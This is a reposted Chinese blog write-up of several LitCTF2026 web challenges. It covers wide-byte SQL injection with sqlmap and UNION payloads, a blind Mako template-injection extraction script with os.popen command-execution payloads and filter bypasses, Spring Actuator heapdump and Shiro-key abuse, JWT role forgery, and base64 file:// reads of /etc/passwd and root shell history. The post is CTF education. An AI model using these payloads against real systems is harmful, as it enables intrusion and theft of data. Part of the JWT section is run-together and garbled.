首页 > 基础资料 博客日记

LitCTF2026web部分wp

2026-05-25 21:00:06基础资料围观13

极客资料网推荐LitCTF2026web部分wp这篇文章给大家,欢迎收藏极客资料网享受知识的乐趣

[LitCTF2026] lit_ezsql

题目

注注注!

',",)轮番上阵都没报错

常规or语句和双写也没成功

查询1

id name col2 col3 col4
1 alice visitor none none

查询2

id name col2 col3 col4
2 bob visitor none none

其他基本都无查询结果

但是查询

2abc
21
2'

会回显bob,也就是说,后面的部分应该没有正常直接拼接进语句

玄网安全的师傅wp中提到了一个合理的推断(不然就得盲猜宽字节注入)

https://mp.weixin.qq.com/s/d8MbcXiWcWWVVOD6aptevQ

关键突破点是发现调试参数:
/query?id=1&debug=1

访问/query?id=2&debug=1

image-20260524153155780

SELECT 
`id`,`name`,`col2`,`col3`,`col4` 
FROM 
`ezsql`.`users` 
WHERE 
id='2' 
LIMIT 50

尝试/query?id=2'&debug=1

变成了

WHERE id='2\''

可以发现,之前的方法没有触发报错是因为反斜杠转义

一般反斜杠转义的情况就考虑宽字节注入

sqlmap

python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" --tamper=unmagicquotes --delay=0.5 --dbs --batch


available databases [2]:
[*] ezsql
[*] information_schema
python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" -D ezsql -T flag_store -C flag --dump --tamper=unmagicquotes --delay=0.5 --batch

+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{89fct4ds-4tm6-4hp-8u1v-ay37y9kc2fwjy} |
+--------------------------------------------+

手注

回顾宽字节注入原理

利用数据库字符集(如GBK、GB2312、BIG5等)中,反斜杠 \ 的URL编码 %5c 与前一个字符(如 %df、%e5、%bf 等)组合成一个合法多字节字符,从而“吃掉”转义符,让后面的单引号 ' 逃逸出来

使用短payload验证一下

1%df'

关键点:在 GBK编码 下:

  • %df(ß的GBK高位字节) + %5c(反斜杠) = %df%5c 被解析为一个汉字字符“運”
  • 原本的转义符 \ 被“吸收”进了这个汉字,不再具有转义功能
  • 剩下的单引号 ' 成功逃逸,可以闭合字符串

最终payload

1%df' UNION SELECT 1,2,3,4,group_concat(flag) FROM flag_store--+

反思

花了十几分钟没手搓出来故放弃,宽字节注入其实刚入门CTF时候就在pikachu靶场遇到了,但是当时没怎么注意,也一直没遇到这个考点,知识储备不够广吧

[LitCTF2026] lit_ezssti

题目

缺什么补什么(x

image-20260524155953118

别真以为很简单,直接讲复盘时候总结的正常思路

SSTI由于平时遇到的都是jinja2的模板注入,忽略了其他模板

image-20260524160349623

(上面图片来自 https://www.cnblogs.com/lx207/articles/18958248

总结一下如何确定模板

image-20260524161144645

image-20260524161209726

按这个顺序最稳:

1. {{7*7}}
2. ${7*7}
3. <%=7*7%>
4. \#{7*7}
5. [[7*7]]
6. % 或 % if 1:

常见指纹如下:

现象 大概率模板
SyntaxException: Invalid control line Mako
jinja2.exceptions... Jinja2
Twig\Error... Twig
EJS、ejs.js、Unexpected token %> EJS
ERB、ActionView::Template::Error ERB / Rails
FreeMarker、freemarker.core... FreeMarker
Thymeleaf、SpEL Thymeleaf
template parsing error + {{.}} 风格 Go template

前面的参数都没有什么有价值的特征

但是传入%的时候,触发了报错,而且是Mako的特征

验证 payload:

% if True:
OK
% endif

返回结果是:

OK

这一步可以正式确认Mako模板

但是经测试,存在较严格的过滤

() [] '' = flag 等

盲注

paylaod:

% for line in open('/fla'+'g'):
% if '<probe>' in line:
YES
% endif
% endfor

依次尝试

若真,回显YES;若假,无回显

#!/usr/bin/env python3
import argparse
import re
import string
import sys
from typing import Optional

import requests


OUT_RE = re.compile(r'<pre id="out">([\s\S]*?)</pre>')


def to_concat_expr(text: str) -> str:
    # Build "'f'+'l'+'a'+'g'" style expression to avoid raw keyword filters.
    parts = []
    for ch in text:
        if ch == "'":
            parts.append('"\'"')
        else:
            parts.append(f"'{ch}'")
    return "+".join(parts)


def hit(url: str, candidate: str, timeout: float = 10.0) -> Optional[bool]:
    candidate_expr = to_concat_expr(candidate)
    payload = (
        "% for line in open('/fla'+'g'):\n"
        f"% if {candidate_expr} in line:\n"
        "YES\n"
        "% endif\n"
        "% endfor"
    )
    try:
        resp = requests.post(
            url,
            data={"tpl": payload},
            timeout=timeout,
        )
    except requests.RequestException:
        return None

    m = OUT_RE.search(resp.text)
    if not m:
        return None
    out = m.group(1).strip()
    if out == "WAF":
        return False
    return "YES" in out


def extract_flag(
    url: str,
    prefix: str,
    charset: str,
    max_len: int,
    timeout: float,
) -> str:
    cur = prefix
    for _ in range(max_len):
        found = False
        for ch in charset:
            cand = cur + ch
            ok = hit(url, cand, timeout=timeout)
            if ok is None:
                print(f"[!] Request/parse failed on candidate: {cand}", file=sys.stderr)
                continue
            if ok:
                cur = cand
                print(f"[+] {cur}")
                found = True
                if cur.endswith("}"):
                    return cur
                break
        if not found:
            return cur
    return cur


def main() -> None:
    parser = argparse.ArgumentParser(description="Blind Mako SSTI flag extractor")
    parser.add_argument(
        "--url",
        default="http://challenge.cyclens.tech:32340/",
        help="Target URL",
    )
    parser.add_argument(
        "--prefix",
        default="flag{",
        help="Initial prefix to expand",
    )
    parser.add_argument(
        "--max-len",
        type=int,
        default=80,
        help="Maximum chars to append after prefix",
    )
    parser.add_argument(
        "--charset",
        default=string.ascii_letters + string.digits + "{}_-",
        help="Charset used during brute force",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=10.0,
        help="HTTP timeout seconds",
    )
    args = parser.parse_args()

    print(f"[*] Target: {args.url}")
    print(f"[*] Prefix: {args.prefix}")
    print(f"[*] Charset length: {len(args.charset)}")

    result = extract_flag(
        url=args.url,
        prefix=args.prefix,
        charset=args.charset,
        max_len=args.max_len,
        timeout=args.timeout,
    )
    print(f"[=] Result: {result}")


if __name__ == "__main__":
    main()
python E:\cod\mako_blind_flag_extractor.py --url http://challenge.cyclens.tech:32340/ --prefix "flag{" --max-len 80

flag{hhqmzcmj-eupe-4yg-8xis-hrhhvxrzxbpsa}

绕过

已知以下内容被拦截

context.write
os.popen

我们可以想办法绕过

getattr(context, "write")
getattr(__import__("os"), "popen")

目标

exec("import os\n"
     "getattr(context, 'write')("
     "getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')()"
     ")")

执行逻辑:

  1. exec(...) 执行拼好的 Python 代码。
  2. import('os') 拿到 os 模块。
  3. getattr(..., 'popen')('cat /f*') 执行命令。
  4. getattr(..., 'read')() 读取命令输出。
  5. getattr(context, 'write')(...) 把输出写到 HTTP 响应。

外部嵌套一个<% %>使内容作为python运行

验证可行性

<% exec("getattr(context, 'write')('hello')") %>

拿flag

<% exec("getattr(context, 'write')(getattr(open('/fla'+'g'), 'read')())") %>
<% exec("import os\ngetattr(context, 'write')(getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')())") %>

反思

题目到此为止了

我们继续读取其他文件

找到了/app/app/routes.py 和 /app/app/waf.py但是直接读取会被过滤,使用通配符

/app/app/routes.py

from __future__ import annotations

import html

from flask import Blueprint, jsonify, render_template, request
from mako.template import Template

from app.waf import apply_waf

bp = Blueprint("main", __name__)


def _render_ctx() -> dict:
    return {}


def _plain(s: object) -> str:
    if s is None:
        return ""
    return html.unescape(str(s))


@bp.route("/", methods=["GET", "POST"])
def index():
    echo = ""
    raw = ""
    if request.method == "POST":
        raw = request.form.get("tpl", "") or ""
        body, err = apply_waf(raw)
        if err is not None:
            echo = err
        else:
            try:
                tpl = Template(body)
                echo = _plain(tpl.render(**_render_ctx()))
            except Exception as e:  # noqa: BLE001
                echo = f"[渲染异常] {type(e).__name__}: {e}"
    return render_template("index.html", echo=echo, raw=raw)


@bp.get("/healthz")
def healthz():
    return jsonify({"ok": True})

/app/app/waf.py

"""题目 WAF:同时禁止 `${` 与 ASCII 点号 `.`(fenjing 梗:拆表达式、别用点属性)。"""


def apply_waf(raw: str) -> tuple[str | None, str | None]:
    """
    Returns (template_to_render, error_message).
    If blocked, (None, user-visible message).
    """
    banlist = ["${", ".", "=","flag","[","]"]
    for item in banlist:
        if item in raw:
            return None, "WAF"
    
    return raw, None

处理顺序

输入

request.form.get("tpl", "") #得到url编码后的字符串

apply_waf(raw) #过滤黑名单

tpl = Template(body)
echo = tpl.render(**_render_ctx()) #创建一个 Mako 模板对象并渲染

html.unescape(str(s)) #html解码

render_template("index.html", echo=echo, raw=raw) #jinja2渲染

依旧是曾经遇到的东西没重视,知识面不够广

fenjing主要面向Jinja/Flask,而且黑名单过滤较严格,没办法一把梭

[LitCTF2026] 华辰企业服务运营平台

前置知识点

Spring Boot 的 Actuator 是运维监控模块,提供了一堆健康检查、配置查询接口:

  ┌───────────────────────┬─────────────────────────────────────┬────────┐
  │         端点          │                功能                 │ 危险性 │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/health      │ 健康检查                            │ 低     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/info        │ 应用信息                            │ 低     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/env         │ 所有环境变量、配置项                │ 极高   │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/mappings    │ 所有路由映射                        │ 中     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/heapdump    │ JVM                                 │ 极高   │
  │                       │ 堆快照(含内存中所有变量、密码)    │        │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/configprops │ 配置项                              │ 中     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/loggers     │ 日志级别                            │ 中     │
  ├───────────────────────┼─────────────────────────────────────┼────────┤
  │ /actuator/threaddump  │ 线程栈                              │ 中     │
  └───────────────────────┴─────────────────────────────────────┴────────┘

题目描述

某客服工单系统上线后,保留了大量运维与调试能力。
你需要从系统暴露面和服务器中收集关键信息,完成权限突破并还原完整 flag

提示: 历史归档备注 -> 历史归档备注(flag2)

查看源码没有什么重要发现

扫目录发现一堆

image-20260525120435790

环境变量

访问/actuator/env,找到flag

image-20260525120545620

隐私泄露

访问/actuator/heapdump下载

直接搜flag{

image-20260525163246439

shiro漏洞利用(脚本小子)

先查看源码,有/js/index.js我们查看下

async function loadHomeData() {
    const banner = await fetch('/api/public/banner').then(r => r.json());
    document.getElementById('bannerPanel').innerHTML = `
        <h2>${banner.title}</h2>
        <p>${banner.subtitle}</p>
        <p class="muted">å¹³å°å®šä½ï¼šå®¢æˆ·æœåŠ¡æ ‡å‡†åŒ–ã€æµç¨‹å¯è¿½æº¯ã€å®¡è®¡å¯é—­çŽ¯ã€‚</p>
    `;

    const news = await fetch('/api/public/news').then(r => r.json());
    document.getElementById('newsPanel').innerHTML = `
        <h2>企业公告</h2>
        <ul>${news.items.map(i => `<li>${i}</li>`).join('')}</ul>
    `;
}

loadHomeData();

index.js 调了:

  • GET /api/public/banner
  • GET /api/public/news

const form = document.getElementById('loginForm');
const result = document.getElementById('result');

form.addEventListener('submit', async (e) => {
    e.preventDefault();
    const payload = {
        username: document.getElementById('username').value.trim(),
        password: document.getElementById('password').value,
        rememberMe: document.getElementById('rememberMe').checked
    };

    const resp = await fetch('/api/auth/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(payload)
    }).then(r => r.json());

    result.textContent = JSON.stringify(resp, null, 2);
    if (resp.ok) {
        setTimeout(() => {
            window.location.href = '/dashboard';
        }, 600);
    }
});

login.js 调了:

  • POST /api/auth/login,body 是 JSON:

gpt说到这里能猜出后端是个 Java Spring Boot 风格的 REST API(/api/... 路径 +
JSON)。

抓个包

{"username":"user","password":"111","rememberMe":true}

还真有"rememberMe":true难道是Apache Shiro?

提到shiro

  • 可能是 Shiro 反序列化(CVE-2016-4437 / CVE-2020-1957 / CVE-2020-11989 /
    CVE-2022-32532)
  • 可能存在 Shiro 鉴权绕过

在环境变量中拿到

"LAB_SHIRO_KEY_B64": {
          "value": "R1pDVEZTaGlyb0dDTUtleQ==",
          "origin": "System Environment Property \"LAB_SHIRO_KEY_B64\""
        },

使用shiro漏洞工具

image-20260525200436156

根目录下拿到flag1

env中有flag2,拼接一下拿到完整flag

这只是简单的工具利用shiro

还有一种手搓shiro提权的方法,但我不会java....

[LitCTF2026] lit_reverse_my_web

逆向还是不蒸了吧

逆向那secret伪造token去访问/flag

贴一下gpt的

  1. 首轮侦察
    1.1 远端页面
    首页看起来像一个普通的内部业务系统:
    /
    /login
    /register
    /static/style.css
    注册页和登录页都很正常,表单里只有 username 和 password。
    页面文案里有一个关键信息:
    提交后由相关部门在后台审核,通常 1-3 个工作日内开通
    这说明账号体系里很可能存在"审核状态"或"角色权限"逻辑。
    1.2 最小功能验证
    先注册一个普通账号:
    返回 303 See Other,说明注册成功。
    再登录:
    可以拿到 JWT,说明站点确实用 token 做鉴权。
  2. 为什么要逆二进制
    压缩包里只有一个文件:
    这是最强的提示。
    如果是普通 Web 题,通常会给源码、前端资源、接口文档,或者至少能通过页面直接看出明显漏洞;这里只有编译
    产物,说明出题人希望我们从服务端程序里反推真实逻辑。
    也就是说,这题的正确方向不是盲猜接口,而是逆:
    路由
    认证
    授权
    数据库结构
    curl.exe -i -d "username=testuser123&password=testpass123"
    http://challenge.cyclens.tech:31272/register
    curl.exe -i -H "Accept: application/json" -d "username=testuser123&password=testpass123"
    http://challenge.cyclens.tech:31272/login
    server.exe
    隐藏功能
  3. 二进制里的关键证据
    3.1 handler 符号
    字符串提取后,能直接看到这些符号:
    这已经把核心逻辑暴露出来了:
    注册
    登录
    /flag
    JWT 签发
    JWT 解析
    3.2 模板片段
    还能提取到模板片段:
    这说明:
    登录状态由 .LoggedIn 控制
    页面上确实有 /flag 链接
    只有满足条件的用户才能看到它
    3.3 JWT 相关信息
    二进制里还有这些关键字符串:
    main.(app).handleRegister
    main.(
    app).handleLogin
    main.(app).handleFlag
    main.(
    app).handleLogout
    main.(app).signJWT
    main.(
    app).parseToken
    {{if .LoggedIn}}
    {{.User}}

github.com/golang-jwt/jwt/v5 main.claims json:"role" json:"iss,omitempty" reverseMyWeb/internal/jwtsecret.Key main.(*app).signJWT main.(*app).parseToken 这说明: 服务端使用 golang-jwt/jwt/v5 自定义 claims 里有 role 还有单独的 JWT 密钥模块 3.4 数据库结构 还能直接看到 SQLite 建表语句和查询语句: 以及: 这组信息非常关键。 它说明: 新注册用户默认角色是 user 登录时会读取数据库里的 role 这个 role 很可能会被写进 JWT 4. 验证 JWT 结构 登录时请求 JSON,可以直接拿到 token: 解码后,payload 大致如下: 可以确认: 算法是 HS256 CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT NOT NULL UNIQUE, password_hash BLOB NOT NULL, role TEXT NOT NULL DEFAULT 'user' ); SELECT password_hash, role FROM users WHERE username = ? INSERT INTO users (username, password_hash, role) VALUES (?, ?, 'user') curl.exe -i -H "Accept: application/json" -d "username=testuser123&password=testpass123" http://challenge.cyclens.tech:31272/login { "role": "user", "iss": "reverseMyWeb", "sub": "testuser123", "exp": 1779596977, "iat": 1779510577 } iss 固定为 reverseMyWeb sub 是用户名 role 的确写进了 JWT 5. 验证 /flag 的权限控制 把普通用户 token 带到 /flag: 返回: 这一步说明: Authorization: Bearer 是有效携带方式 /flag 确实做了权限判断 普通用户权限不够 我还验证了 cookie 形式: 同样能被服务端识别。 6. 不直接爆破 JWT secret 的原因 看到 HS256 的第一反应通常是去找密钥。 但这题更优雅的路径是: 本地复现同一份服务,让原程序自己签发管理员 JWT 这样不需要硬抠密钥,也不需要猜签名值。 7. 本地复现服务 7.1 启动时的报错 直接运行 server.exe,最开始报错: 这不是内存真坏了,而是 SQLite 打开数据库路径失败。 从二进制字符串里可以提取到数据库 DSN: curl.exe -i -H "Authorization: Bearer " http://challenge.cyclens.tech:31272/flag HTTP/1.1 403 Forbidden 您暂无此资源的访问权限 curl.exe -i -H "Cookie: token=" http://challenge.cyclens.tech:31272/flag unable to open database file: out of memory (14) /tmp/reversemyweb.db?_pragma=busy_timeout(5000)&_fk=1 说明程序要把数据库放在一个临时路径里。 后来我创建了本地临时目录后,服务成功启动并监听在 :80。 7.2 本地数据库文件 服务启动后,数据库文件出现在: 8. 本地注册和登录 先在本地注册一个用户: 然后登录: 这样可以得到本地程序签发的 JWT。 9. 直接修改本地 role 因为 SQLite 表结构已经清楚了,所以最简单的做法就是直接改 users.role。 示例: 然后重新登录,让原程序签发一枚新的 token。 10. 确认正确的高权限角色 为了不盲猜,我在本地做了一轮角色测试。 流程是: 1. 修改 users.role 2. 本地登录拿 token 3. 用 token 访问本地 /flag 4. 看状态码 E:\tmp\reversemyweb.db curl.exe -i -H "Accept: application/json" -d "username=localprobe&password=localpass123" http://127.0.0.1/register curl.exe -i -H "Accept: application/json" -d "username=localprobe&password=localpass123" http://127.0.0.1/login import sqlite3 conn = sqlite3.connect(r"E:\tmp\reversemyweb.db") conn.execute( "update users set role=? where username=?", ("admin", "localprobe") ) conn.commit() 测试结果: root -> 403 manager -> 403 auditor -> 403 reviewer -> 403 operator -> 403 admin -> 不再是 403,而是进入更深层逻辑并触发 500 这说明: admin 能通过 /flag 的权限判断 本地 500 只是因为本地没有远端真实 flag 资源 所以真正需要的角色就是 admin。 11. 生成管理员 JWT 把本地用户改成 admin 后重新登录,拿到的 JWT payload 变成: 重点不是 token 字符串本身,而是: 这是原程序签出来的 签名合法 iss 和远端一致 唯一变化是 role=admin 12. 打远端 /flag 拿管理员 JWT 访问远端: 返回: 我还验证了 cookie 形式: { "role": "admin", "iss": "reverseMyWeb", "sub": "localprobe", "exp": 1779597158, "iat": 1779510758 } curl.exe -i --max-time 15 -H "Authorization: Bearer " http://challenge.cyclens.tech:31272/flag HTTP/1.1 200 OK flag{lj7xmbvz-xtqy-4yp-8q7t-7brghcvoak2fq} 返回相同结果。 13. 二次验证 为了避免拿到缓存值、误读值或截断值,我做了两次验证: 13.1 重复请求 连续请求 /flag 两次,返回完全一致: 13.2 两种携带方式 使用下面两种方式都能稳定拿到 flag: Authorization: Bearer Cookie: token= 因此可以确认 flag 正确。 14. 完整利用链 完整思路如下: 1. 侦察远端页面 2. 发现附件只有编译后的 server.exe 3. 从二进制中恢复 handler 名称、JWT 逻辑和 SQL 结构 4. 确认 JWT 中包含 role 5. 确认普通用户拿到的是 role=user 6. 确认 /flag 对普通用户返回 403 7. 本地复现服务 8. 找到本地 SQLite 数据库 9. 把本地用户角色改成 admin 10. 重新登录,让原程序签发合法管理员 JWT 11. 用这枚 JWT 访问远端 /flag 12. 读取 flag

[LitCTF2026] Northbridge Document Hub

题目

查看源码,访问/assets/js/portal.js

(function () {
    var bootstrap = {
        release: "2026.03.01-r12",
        region: "cn-sh2",
        auth: {
            mode: "legacy-fallback",
            // researcher:Research#2026
            seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
        },
        fileGateway: {
            path: "/kkfileview/getCorsFile",
            queryKey: "urlPath",
            node: "legacy-parse-02"
        }
    };

    window.NorthbridgePortal = {
        config: bootstrap,
        decodeLegacyCredential: function () {
            try {
                return atob(bootstrap.auth.seed);
            } catch (e) {
                return "";
            }
        }
    };

    var form = document.querySelector("form[data-auth='portal']");
    if (form) {
        form.addEventListener("submit", function () {
            form.classList.add("is-submitting");
        });
    }
})();

发现一个疑似读取文件的路径

path: "/kkfileview/getCorsFile",
queryKey: "urlPath",

发现种子

seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"

base64解码就是上行的注释....

researcher:Research#2026

没想到这就是密码....

researcher / Research#2026

登录

访问刚刚疑似读取文件的路径

/kkfileview/getCorsFile?urlpath=

啥也读不出来,原来需要base64编码

读取/etc/passwd

改为file:///etc/passwd

base64编码得
ZmlsZTovLy9ldGMvcGFzc3dk

GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk

尝试访问/root/.bash_history

/root/.bash_historyLinux 系统中 root 用户的操作命令历史记录文件

cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip

下载file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip

解压拿到flag.txt


文章来源:https://www.cnblogs.com/E73RN4L/p/20160172
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云